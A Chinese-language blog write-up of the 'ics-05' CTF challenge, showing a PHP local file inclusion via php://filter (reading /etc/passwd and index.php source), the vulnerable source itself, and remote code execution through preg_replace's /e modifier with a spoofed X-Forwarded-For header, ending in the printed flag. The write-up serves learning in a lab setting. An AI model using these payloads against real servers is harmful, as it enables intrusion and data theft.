ics-05

发布时间 2023-11-21 14:53:41作者: 糕冷のkecy

image-20231121130008849


考点:

1.文件包含

2.preg_replace函数 正则/e 模式下的命令执行


WP

1.题目

这道题挺有意思的,不难,但是思路点有点意思,开始给个态势感知的平台,,,假装是态势感知(实际是一张背景图)

image-20231121130041189

这个页面里面,没什么地方可以点的,所有的都是假的,只有一个地方,那就是那个设备维护中心,点进去之后,

image-20231121130408600

是这个样子,,,,也是啥也没有,开始看到的时候觉得很离谱,这不扯犊子吗,啥也没有,不过看了别人的wp之后,f12 看到了这个,

image-20231121130628529

?page=index ,但我最开始不是这样找到的,我是看的提示

image-20231121130742988

设备维护中心???设备维护中心就是index.php ,,,

后门??? 猜测后门文件,webshell.php

image-20231121130933718

访问之后页面变了,当时以为是爆破shell的参数名呢,,,但其实并不是,页面只有这一个可点的地方,点进去就出现这个

image-20231121131134933

回显???最开始想到的是sql注入,xss,,,脑瓜子不灵活了,试了半天没啥用,看了wp发现是文件包含,哎呦喵的,我咋这么笨,参数名page 参数值又是index,估计就可能是文件包含啊,呆瓜了属实是,

既然是文件包含,那就用base64编码读取一下

?page=php://filter/convert.base64-encode/resource=../../../../../../../../etc/passwd

成功

image-20231121131604520

确实是文件包含,但是问题是这也不知道flag文件位置啊,所有一般这种情况,都是读取源码,分析,比如catcat-new 那道题,,,,,

这道题也是这样,,,但是没那道题那么复杂,有空再研究那道题(不知道思路的情况,就信息搜集,这不是有个index.php,读取它呗)

?page=php://filter/convert.base64-encode/resource=index.php

image-20231121132002136

全选出来,解码

image-20231121132133832

老规矩,放sublime

image-20231121132951549

这里面有大部分html无用代码,删掉

<?php
error_reporting(0);

@session_start();
posix_setuid(1000);
?>
<?php
$page = $_GET[page];

if (isset($page)) {

if (ctype_alnum($page)) {
?>
        <p class="lead"><?php echo $page; die();?></p>
<?php
}else{
?>                <?php
                if (strpos($page, 'input') > 0) {
                    die();
                }
    
                if (strpos($page, 'ta:text') > 0) {
                    die();
                }
    
                if (strpos($page, 'text') > 0) {
                    die();
                }
    
                if ($page === 'index.php') {
                    die('Ok');
                }
                    include($page);
                    die();
                ?>
<?php
}}
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "<br >Welcome My Admin ! <br >";
    
    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];
    
    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }

}

?>

简化之后变成这样,,解题重点在住下下面的那个内部人员测试用的代码


2.解题

当然,拿到了代码还是得全盘分析一下,不能单纯只看重点,练习ctf题,不是为了做题,而是为了涨芝士(省力一点,GPT)

okok,,,开始逐段分析,,,第一段

<?php
error_reporting(0); //设置错误报告级别为 0,即不显示任何错误信息。

@session_start();  //使用 @ 符号来抑制 session_start() 函数可能产生的警告信息,并启动会话(Session)机制。

posix_setuid(1000); //使用 POSIX 扩展库中的 posix_setuid() 函数将当前进程的用户 ID 设置为 1000 — — — > 提升脚本的权限级别
?>

emm,,,ok,第二段

<?php 

$page = $_GET[page];  // $_GET 超全局变量获取名为 page 的参数的值,并将其赋给变量 $page。

if (isset($page)) {  //判断变量 $page 是否已设置,page有值就进入外层if语句题

if (ctype_alnum($page))  //用 ctype_alnum() 函数检查变量 $page 的值是否只包含字母和数字字符。如果是,则执行内层if代码块。
{ 
    ?><p class="lead"><?php echo $page; die();?></p> <?php   //输出$page的值
}   

emm第三段

else{  //外层if体的 内层else语句体  ,,,就是说除了数字,字母,我们还输入了其他的,比如我们用伪协议读取时,用到了:  . 等
?>
               <?php
                if (strpos($page, 'input') > 0) {   //page用了input,直接die  不能php://input 写入后门
                    die();
                }
                if (strpos($page, 'ta:text') > 0) { //page用了ta:text,直接die   不能用data:伪协议了 
                    die();
                }
                if (strpos($page, 'text') > 0) {   //page用了text,直接die
                    die();
                }
                if ($page === 'index.php') {  //page绝对等于index.php 输出ok ,但是不包含index.php 这是也是die
                    die('Ok');
                }
                    include($page);  //   都避开上述条件,包含$page,,,,这也是为什么用
    							//php://filter/convert.base64-encode/resource=	
    							//的原因
                    die();   //包含之后结束代码
                 ?>

<?php
}}

前面的流程完了,大概捋清楚了,看看接下来的重点

//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') { //X-Forwarded-For 头等于127.0.0.1 进入循环

    echo "<br >Welcome My Admin ! <br >";    

    $pattern = $_GET[pat];        // $pattern 接收get参数pat
    $replacement = $_GET[rep];    // $replacement  接收get参数rep
    $subject = $_GET[sub];        // $subject 接收get参数sub

    if (isset($pattern) && isset($replacement) && isset($subject)) {  //都设置了进入循环
        preg_replace($pattern, $replacement, $subject);    //
    }else{
        die();
    }

}

?>

乍一看,这能有啥,一个preg_reaplace 替换语句能干啥 是的,我也没看出来,看的别人的wp

参考: 攻防世界 ics-05 - fdgmy - 博客园 (cnblogs.com)

preg_replace() 函数该函数执行一个正则表达式)的搜索和替换。

利用preg_replace漏洞(参数pattern输入/e的时候 ,参数replacement的代码当作PHP代码执行)

参考:慎用preg_replace危险的/e修饰符(一句话后门常用) - 稻禾盛夏 - 博客园 (cnblogs.com)

构造paylaod:

?pat=/12/e&rep=system("find / -name flag")&sub=1255555  //也可以-iname 表示不区分大小写搜索

image-20231121142913573

记得添加XFF头,

paylaod不是固定的,但是这里注意,既然函数是替换,那么你sub是目标字符,pat是替换模式,rep是替换进去的字符串,

那我们的sub里的值,必须要有pat的值,这样正则才能匹配上,否则,这个函数都不会执行,何来触发漏洞,

flag文件下发现flag.php

?pat=/12/e&rep=system("ls  /var/www/html/s3chahahaDir/flag")&sub=1255555

image-20231121143726357

读取flag

?pat=/12/e&rep=system("cat  /var/www/html/s3chahahaDir/flag/flag.php")&sub=1255555

image-20231121144247625

拿下,,,,每日一题~


拿到flag:

cyberpeace{d9194c5cc8609a99bf5c8703339d79b1}